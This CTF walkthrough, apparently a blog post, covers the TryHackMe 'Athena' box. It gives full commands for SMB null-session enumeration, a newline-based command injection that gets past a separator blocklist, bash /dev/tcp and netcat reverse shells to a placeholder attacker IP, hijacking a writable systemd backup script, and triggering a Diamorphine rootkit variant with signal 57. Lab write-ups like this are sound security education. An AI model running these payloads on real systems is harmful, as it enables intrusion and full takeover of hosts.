Overview
Athena is an easy-rated TryHackMe box that chains a leaked internal path
(found via an anonymous SMB share) into a command injection vulnerability in
a "router panel" ping tool, followed by a writable backup script abused via
a systemd service running as a second user, and finished off with a
misconfigured sudo rule that lets that user load an arbitrary kernel
module - in this case a customized build of the
Diamorphine LKM rootkit that grants
instant root via a magic signal.
Recon
nmap -A -Pn <MACHINE_IP> -o map
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Athena - Gods of olympus
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: ROUTERPANEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Three services in scope: SSH, an Apache-hosted site themed around the
goddess Athena, and Samba/SMB. The NetBIOS name ROUTERPANEL was an early
hint at what was hiding behind the web app.
Web Enumeration
The homepage (curl http://<MACHINE_IP>/) is a static lore page about
Athena - no obvious functionality, just flavor text and an image.
Directory brute-forcing turned up nothing interesting:
ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4348ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4346ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 57ms]
whatweb http://<MACHINE_IP>
http://<MACHINE_IP> [200 OK] Apache[2.4.41], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], Meta-Author[matheuz], Title[Athena - Gods of olympus]
Nothing actionable on the web side by itself - moved to SMB.
SMB Enumeration
nxc smb <MACHINE_IP> -u guest -p ''
SMB <MACHINE_IP> 445 ROUTERPANEL [*] Unix - Samba (name:ROUTERPANEL) (domain:ROUTERPANEL) (signing:False) (SMBv1:None) (Null Auth:True)
SMB <MACHINE_IP> 445 ROUTERPANEL [-] ROUTERPANEL\guest: STATUS_LOGON_FAILURE
Guest failed, but null auth was flagged as supported - tried a blank
username instead:
nxc smb <MACHINE_IP> -u '' -p ''
SMB <MACHINE_IP> 445 ROUTERPANEL [+] ROUTERPANEL\:
Successful anonymous login. Enumerated shares:
nxc smb <MACHINE_IP> -u '' -p '' --shares
Share Permissions Remark
----- ----------- ------
public READ
IPC$ IPC Service (Samba 4.15.13-Ubuntu)
Connected and grabbed the one file on offer:
smbclient //<MACHINE_IP>/Public -N
smb: \> ls
msg_for_administrator.txt N 253 Sun Apr 16 20:54:43 2023
smb: \> get msg_for_administrator.txt
cat msg_for_administrator.txt
Dear Administrator,
I would like to inform you that a new Ping system is being developed and I left the corresponding application in a specific path, which can be accessed through the following address: /myrouterpanel
Yours sincerely,
Athena
Intern
An internal note leaking a hidden path - classic case of secrets ending up
on an anonymously readable share.
Finding the Router Panel
curl http://<MACHINE_IP>/myrouterpanel/
Renders a "Simple Router Panel" page with a ping tool:
<form method="post" action="ping.php">
<label for="ip">IP address: </label>
<input type="text" name="ip" id="ip" required class="ip">
<button type="submit" name="submit" class="button">Send</button>
</form>
Confirmed it actually pings:
curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=127.0.0.1&submit=Send'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.022 ms
...
Command Injection
The classic separators were all caught by an application-level filter:
curl ... --data-urlencode 'ip=127.0.0.1 && id' -d 'submit=Send'
→ Attempt hacking!
curl ... -d 'ip=127.0.0.1;whoami&submit=Send'
→ Attempt hacking!
curl ... -d 'ip=127.0.0.1|id&submit=Send'
→ Attempt hacking!
curl ... -d 'ip=127.0.0.1%26%26id&submit=Send'
→ Attempt hacking!
&&, ;, | were all blocklisted. A literal newline in the ip parameter
was not:
curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=127.0.0.1%0Aid&submit=Send'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirmed OS command injection as www-data via a raw %0A (newline)
separator, which the app's blocklist never accounted for.
Getting a Shell
Attempts using bash's /dev/tcp and Python pty.spawn reverse shells were
both silently blocked by the same filter (likely matching on /dev/tcp or
socket-related strings), even though a plain echo /dev/tcp and which nc
both worked fine to confirm the binary existed and the path string itself
wasn't blocked outright:
curl ... --data-urlencode $'ip=127.0.0.1\nbash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"' -d 'submit=Send'
→ Attempt hacking!
curl ... --data-urlencode $'ip=127.0.0.1\npython3 -c \'import socket,os,pty;...\'' -d 'submit=Send'
→ Attempt hacking!
Switched to a plain nc -e reverse shell instead, which worked outright:
curl http://<MACHINE_IP>/myrouterpanel/ping.php --data-urlencode $'ip=127.0.0.1\nnc <ATTACKER_IP> 4444 -e sh' -d 'submit=Send'
This is the payload that produced the actual working shell:
curl http://<MACHINE_IP>/myrouterpanel/ping.php -d 'ip=%0A nc -c /bin/sh <ATTACKER_IP> 4444 &submit='
penelope listen -p 4444
[+] [New Reverse Shell] => routerpanel <MACHINE_IP> Linux-x86_64 www-data(33)
www-data@routerpanel:/var/www/html/myrouterpanel$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Landed as www-data.
Privilege Escalation: www-data -> athena
Enumerated /home and found two users, with direct access blocked:
www-data@routerpanel:/home$ ls
athena ubuntu
www-data@routerpanel:/home$ cd athena/
bash: cd: athena/: Permission denied
Looked for files owned by athena anywhere on disk:
www-data@routerpanel:/home$ find / -type d -user athena 2>/dev/null
/home/athena
/usr/share/backup
/usr/share/backup stood out - inspected it:
www-data@routerpanel:/home$ ls -la /usr/share/backup
-rwxr-xr-x 1 www-data athena 258 May 28 2023 backup.sh
The script is owned by athena's group but writable by www-data
(the current user owns the file outright):
www-data@routerpanel:/home$ cat /usr/share/backup/backup.sh
#!/bin/bash
backup_dir_zip=~/backup
mkdir -p "$backup_dir_zip"
cp -r /home/athena/notes/* "$backup_dir_zip"
zip -r "$backup_dir_zip/notes_backup.zip" "$backup_dir_zip"
rm /home/athena/backup/*.txt
rm /home/athena/backup/*.sh
echo "Backup completed..."
Checked what runs it - not cron, but a systemd service:
www-data@routerpanel:/home$ cat /etc/systemd/system/athena_backup.service
[Unit]
Description=Backup Athena Notes
[Service]
User=athena
Group=athena
ExecStart=/bin/bash /usr/share/backup/backup.sh
Restart=always
RestartSec=1min
[Install]
WantedBy=multi-user.target
Restart=always with a 1-minute RestartSec means this service re-executes
the script on a loop, running as athena. Since www-data can write to the
script, overwriting it hands over a shell as athena on the next restart
cycle:
www-data@routerpanel:/home$ echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1' > /usr/share/backup/backup.sh
penelope listen -p 9001
[+] [New Reverse Shell] => routerpanel <MACHINE_IP> Linux-x86_64 athena(1001)
athena@routerpanel:/$ id
uid=1001(athena) gid=1001(athena) groups=1001(athena)
Landed as athena within the minute. Grabbed the user flag:
athena@routerpanel:~$ cat user.txt
flag{REDACTED}
Privilege Escalation: athena -> root
Checked sudo rights:
athena@routerpanel:~$ sudo -l
User athena may run the following commands on routerpanel:
(root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko
athena can load one specific, pre-existing kernel module as root with no
password. Checked what it actually is:
athena@routerpanel:~$ modinfo /mnt/.../secret/venom.ko
filename: /mnt/.../secret/venom.ko
description: LKM rootkit
author: m0nad
license: Dual BSD/GPL
name: venom
vermagic: 5.15.0-69-generic SMP mod_unload modversions
The author m0nad and description "LKM rootkit" match
Diamorphine, a well-known Linux
kernel module rootkit whose stock build hides processes/files and grants
root to any process that sends it a specific "magic" signal. This build
is renamed venom and was recompiled with a non-default magic signal
number rather than Diamorphine's usual 64 - decompiling the module's
hacked_kill hook confirmed the actual trigger value:
int hacked_kill(pt_regs *pt_regs)
{
...
iVar3 = (int)pt_regs->si;
if (iVar3 == 0x39) {
give_root();
...
}
}
0x39 is 57 in decimal - so this build roots any process that sends it
signal 57, not the stock Diamorphine default. Loaded the module via the
permitted sudo rule, then sent the magic signal to the shell's own PID:
athena@routerpanel:~$ sudo /usr/sbin/insmod /mnt/.../secret/venom.ko
athena@routerpanel:~$ kill -57 1
(Signal 64 was tried first per the public repo's documented default and
was rejected - Operation not permitted - confirming the recompiled magic
number had to be found via decompilation rather than assumed from upstream.)
athena@routerpanel:~$ id
uid=0(root) gid=0(root) groups=0(root),1001(athena)
Instant root. Grabbed the flag:
athena@routerpanel:/root$ cat root.txt
flag{REDACTED}
Flags
User: flag{REDACTED}
Root: flag{REDACTED}
Takeaways
- Anonymous/null-session SMB access is still common on "easy" boxes and is worth checking even when guest login fails outright - blank username/password is a separate, distinct auth path in Samba.
- Command injection filters that blocklist specific separators (
&&,;,|) are trivially bypassed with a raw newline (%0A) if the app doesn't also account for it - shells happily treat newlines as command separators. - When one payload style gets silently blocked (bash
/dev/tcp, Pythonpty.spawn) but the target binary is confirmed present, try alternate tooling (nc -e) before assuming the vulnerability itself is dead. - A world/group-writable script driven by a
Restart=alwayssystemd service is a privilege escalation primitive even without direct cron access - overwrite the script, wait for the restart cycle, and the service's configured user runs your payload for you. -
sudo -lentries granting a specificinsmodon a specific.kofile are a strong signal tomodinfoand reverse-engineer the module rather than assume upstream defaults - this box's rootkit was a modified Diamorphine build with a changed magic signal, and using the stock documented signal would have failed. - Tool referenced: m0nad/Diamorphine
- the LKM rootkit this box's
venom.kois built from.
- the LKM rootkit this box's
Top comments (0)